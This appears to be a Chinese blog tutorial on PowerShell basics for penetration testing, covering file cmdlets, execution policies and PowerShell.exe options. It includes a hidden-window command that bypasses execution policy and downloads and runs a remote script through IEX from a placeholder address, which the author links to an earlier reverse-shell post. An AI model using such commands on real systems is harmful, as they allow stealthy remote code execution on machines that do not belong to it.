PowerShell渗透基础

文件操作

#新建目录
New-Item test -ItemType Directory
#新建文件
New-Item test.txt -ItemType File
#删除目录
Remove-Item test 
#显示文件内容
Get-Content test.txt
#设置文本内容
Set-Content test.txt -Value "Hello World!"
#追加内容
Add-Content test.txt -Value "Hello Rabbit!"
#清除内容
Clear-Content test.txt

是不是很枯燥的又看了一眼?然而网上对以上所谓简单的命令错的五花八门,无脑复制粘贴,包括笔者一直推荐的《Web安全攻防》中对以上命令的描述:
P264,一共几条命令,少了四个空格,这样做对小白真的好么?看了这么多年代码,hell,world!什么鬼?

也希望这个圈子更加务实,切莫浮躁,在此手动@MS08067。

执行策略

#获取执行策略
Get-ExecutionPolicy
  • Restricted: 脚本不能执行(默认)
  • RemoteSigned: 本地创建的脚本可以运行,但从网上下载的脚本不能运行(拥有数字证书签名的除外)。
  • AllSigned: 仅当脚本由受信任的发布者签名时才能运行。
  • Unrestricted: 允许所有的script运行

早在之前《有染PHPStudy_BackDoor》powershell反弹shell操作中我们也提到了,PC的默认策略是不可执行脚本,即我们这里的Restricted策略,当时因为是本地生成,所以我们使用了Set-ExecutionPolicy RemoteSigned来更改策略以运行ps脚本。

但是,如果是还没有提权的远程目标却是不支持的,因为变更策略需要管理员权限。

所以还有一种策略就是ExecutionPolicy Bypass,即绕过当前执行策略,无障碍运行脚本。

#运行本地脚本
PowerShell.exe -ExecutionPolicy Bypass -File bs64.ps1
#无窗口运行本地脚本
PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo -NonInteractive -NoProfile -File bs64.ps1
###下载远程脚本并运行
PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -Nonl IEX (New-Object Net.WebClient).DownloadString("http://127.0.0.1/bs64.ps1");bs64

第三种情况在《有染PHPStudy_BackDoor》powershell反弹shell时也用到了,顺便一提,ExecutionPolicyExec等价。

帮助文档

最后丢个官方文档,方便大家检索。

-PSConsoleFile
    加载指定的 Windows PowerShell 控制台文件。若要创建控制台
    文件,请在 Windows PowerShell 中使用 Export-Console。

-Version
    启动指定版本的 Windows PowerShell。
    使用参数输入版本号,如 "-version 2.0"。

-NoLogo
    启动时隐藏版权标志。

-NoExit
    运行启动命令后不退出。

-Sta
    使用单线程单元启动 shell。
    单线程单元(STA)是默认值。

-Mta
    使用多线程单元启动 shell。

-NoProfile
    不加载 Windows PowerShell 配置文件。

-NonInteractive
    不向用户显示交互式提示。

-InputFormat
    描述发送到 Windows PowerShell 的数据的格式。有效值为
    "Text" (文本字符串)或 "XML" (序列化的 CLIXML 格式)。

-OutputFormat
    确定如何设置 Windows PowerShell 输出内容的格式。有效值
    为 "Text" (文本字符串)或 "XML" (序列化的 CLIXML 格式)。

-WindowStyle
    将窗口样式设置为 Normal、Minimized、Maximized 或 Hidden。

-EncodedCommand
    接受 base-64 编码字符串版本的命令。使用此参数
    向 Windows PowerShell 提交需要复杂引号
    或大括号的命令。

-ConfigurationName
    指定运行 Windows PowerShell 的配置终结点。
    该终结点可以是在本地计算机上注册的任何终结点,包括
    默认的 Windows PowerShell 远程处理终结点或具有特定用户角色功能
    的自定义终结点。

-File
    在本地作用域("dot-sourced")中运行指定的脚本,以便
    脚本创建的函数和变量可以在当前
    会话中使用。输入脚本文件路径和任何参数。
    File 必须是命令中的最后一个参数,因为在 File 参数
    名称后面键入的所有字符都将解释
    为后跟脚本参数的脚本文件路径。

-ExecutionPolicy
    设置当前会话的默认执行策略,并将其保存
    在 $env:PSExecutionPolicyPreference 环境变量中。
    该参数不会更改在注册表中
    设置的 Windows PowerShell 执行策略。

-Command
    执行指定的命令(和任何参数),就好像它们是
    在 Windows PowerShell 命令提示符下键入的一样,然后退出,除非
    指定了 NoExit。Command 的值可以为 "-"、字符串或
    脚本块。

    如果 Command 的值为 "-",则从标准输入中读取
    命令文本。

    如果 Command 的值为脚本块,则脚本块必须
    用大括号({})括起来。只有在 Windows PowerShell 中运行 PowerShell.exe 时,
    才能指定脚本块。脚本块的结果将作为反序列化的 XML 对象
    (而非活动对象)返回到父 Shell。

    如果 Command 的值为字符串,则 Command 必须是命令中的
    最后一个参数,因为在命令后面键入的所有字符
    都将解释为命令参数。

    若要编写运行 Windows PowerShell 命令的字符串,请使用以下格式:
        "& {<命令>}"
    其中,引号表示一个字符串,调用运算符(&)
    导致执行命令。

你可能感兴趣的:(PowerShell渗透基础)